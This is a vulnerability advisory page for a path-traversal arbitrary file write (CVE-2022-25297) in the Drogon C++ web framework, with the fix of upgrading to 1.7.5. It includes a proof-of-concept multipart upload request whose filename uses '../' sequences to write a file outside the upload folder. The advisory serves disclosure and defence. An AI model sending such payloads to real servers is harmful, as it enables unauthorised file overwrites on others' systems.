Arbitrary File Write Affecting drogonframework/drogon package, versions [,1.7.5)
Threat Intelligence
EPSS
0.34% (72nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-UNMANAGED-DROGONFRAMEWORKDROGON-2407243
- published 13 Feb 2022
- disclosed 13 Feb 2022
- credit Snyk Security Team
Introduced: 13 Feb 2022
CVE-2022-25297 Open this link in a new tabHow to fix?
Upgrade drogonframework/drogon to version 1.7.5 or higher.
Overview
drogonframework/drogon is a C++14/17-based HTTP application framework.
Affected versions of this package are vulnerable to Arbitrary File Write.
The unsafe handling of file names during upload using HttpFile::save() method may enable attackers to write files to arbitrary locations outside the designated target folder.
PoC by Snyk
Based on the file_upload example.
POST /upload_endpoint HTTP/1.1
Host: localhost:8848
Content-Length: 150
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
------xxx
Content-Disposition: form-data; name="file"; filename="../../../../../../malicious-file"
Content-Type: text/plain
pwned
------xxx--
References
CVSS Scores
version 3.1